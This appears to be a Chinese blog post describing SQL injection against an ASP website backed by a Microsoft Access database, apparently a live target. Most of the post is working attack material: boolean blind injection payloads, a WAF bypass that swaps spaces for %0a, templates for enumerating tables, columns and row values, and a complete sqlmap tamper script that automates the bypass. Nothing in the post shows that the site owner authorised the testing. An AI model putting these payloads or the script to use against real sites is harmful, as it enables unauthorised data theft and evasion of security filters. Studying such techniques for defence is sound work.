记一次Microsoft Access 数据库的注入与waf的绕过

最新推荐文章于 2023-10-16 11:47:29 发布

vlan911

最新推荐文章于 2023-10-16 11:47:29 发布

阅读量4.5k

点赞数 1

分类专栏： web安全评估文章标签： sql注入 access 数据库安全

本文链接：https://blog.csdn.net/weixin_48421613/article/details/120762961

版权

web安全评估专栏收录该内容

45 篇文章 31 订阅

订阅专栏

Microsoft Access

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和图形用户界面两项特点，是 Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。== 2018年9月25日,最新的微软Office Access 2019在微软Office 2019里发布。 ==
MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样，ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象，包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对象用于显示表和报表，他们的方法和属性是在VBA编程环境下，VBA代码模块可以声明和调用Windows操作系统函数。

这是不是说Access再一次崛起了？？？

Microsoft Access 特性

Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。

Access数据库不支持错误显示注入，Access数据库不能执行系统命令。

access数据库中没有 limit，就不能限制查询出来的行数。但是我们可以使用top命令，top 1是将查询的所有数据只显示第一行

在这里强调这个，是因为access数据库虽然也支持order by 、union select 、布尔型注入，但是由于不存在注释符，所以在手工注入的时候，需要注意，以及想要绕过waf规则的时候，就不要浪费力气写啥 == /**/ ==这种了

Access数据库注入

某日，进行测试的时候，突然发现某asp网站疑似存在Int型注入
页面原型：

?ID=382

在这里插入图片描述输入测试poc，此时页面变化为英文

?ID=382-1

在这里插入图片描述
为了验证猜测，访问 == ID=381 == 页面，与漏洞展示页面一致

在这里插入图片描述
由于ASP大部分都是Access数据库，所以这个时候也想按照Access数据库进行注入；开始使用联合查询，但是发现并没有什么卵用，所以还是使用布尔查询，毕竟只是想验证猜想

Access数据库特有的表是：msysobjects ，所以可以用它来判断是否是Access数据库

and exists(select*from msysobjects)

然后尴尬的事情果然发生了

在这里插入图片描述
不知道是啥waf，盲猜是自己写的一个过滤，竟然是黑名单过滤，那就有机会饶

首先当然是先看一下，他的防护规则是啥，当然是要在作死的边缘疯狂试探

or 1=1

在这里插入图片描述

or true

在这里插入图片描述

or false

在这里插入图片描述

非常好，看来布尔是好使的，接下来就看到底是屏蔽了啥，一般情况下，waf捕捉的关键字，通常为特殊符号里的单引号、注释符、星号；or / and / order by / union select / select from
这里屏蔽的关键字，不会单独屏蔽，但是连在一起就会被发现，所以这里屏蔽的其实就是 select + from

所以接下来就要尝试一下，如何才能绕过；一开始使用特殊编码转换关键字，使用特殊编码

%53elect
select+distinct+
SeleCT
SeleCt%0d%0a
select%2f**%2f
select%23%0a
select%0A

最后在%0a这里绕过去了，想麻烦了，绕过去了，但是没完全过去，giao

%0Aand%0Aexists(select%0A*%0Afrom%0Amsysobjects)

在这里插入图片描述
一开始还以为哪里出了问题，或者没绕过去，但是被我发现，这个默认表可能是给隐藏了，那就报表好了，当admin表不存在的返回

%0aor%0aexists(%0aSeLeCt%0A*from%0aadmin)

在这里插入图片描述

这里存在job表

%0aor%0aexists(%0aSeLeCt%0A*from%0ajob)

在这里插入图片描述
判断job表的列个数

+or+exists(select%0A*from job order by 29)

在这里插入图片描述
判断列的字段名

+or exists(select%0aid from job)

在这里插入图片描述
猜测第一个id值的长度

+or+(select%0Atop+1+len(id)from+job)>2

在这里插入图片描述

判断第一位id的值
这里使用第一条payload计算ascii值失败了

+or (select%0atop 1 asc(mid(id,1,1)) from job)>32

在这里插入图片描述
直接爆破第一位吧，猜测id列的第一行数据的第一个字符的的值，由于id参数是整型，所以不需要使用ascii转换

+or+(select%0Atop+1+mid(id,1,1) from job)=3

在这里插入图片描述判断第二位id的值

+or+(select%0Atop+1+mid(id,2,1) from job)=7

在这里插入图片描述
得到id值为== 37 ==

判断第二排id值长度

+or+(select%0Atop+1+len(id)+from+(+select%0Atop+2+*+from+job)+order+by+id+desc)>2

在这里插入图片描述

对于判断存在哪些表，只能用以下枚举的方法来猜测是否存在某某表。
为了方便观看，暂时不将空格进行替换(找大字典，配合burp进行枚举即可）

and exists(select * from  表名)

判断列的个数

and exists(select*from 表名 order by 个数)

判断列的字段名

and exists(select 字段名 from 表名)

判断表内数据的行数

and (select count(*) from XXX)>数量

判断列的第一个数据的长度

and (select top 1 len(字段名) from 表名)>长度

猜测xx列的第一行数据的第一个字符的ascii码值

and (select top 1 asc(mid(字段名,1,1)) from 表名)>32

由于top命令区别于limit，他只能是前几行，top 1就是第一行，top 2就是前两行；此时借鉴人家的，那就是使用联合查询，先查询前两条数据然后做一个倒顺序排列，这样的话将查询结果当成一个单独的表，而由于使用了倒叙，所以第二条数据就变成了第三条，再将查询结果进行判断前一条，这样就解决了这个问题

and (select top 1 len(字段名)  from ( select top 2 * from 表名 )  order by id desc)>2

要是想用sqlmap呢，没有waf的情况，get型的直接

== sqlmap -u http://xxx.xxx.xxx --tables ==

替换空格为 %0a 的tamper脚本：

#!/usr/bin/env python

"""
空格替换成%0a
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
  

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "%0A"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "%0A"
                continue

            retVal += payload[i]

    return retVal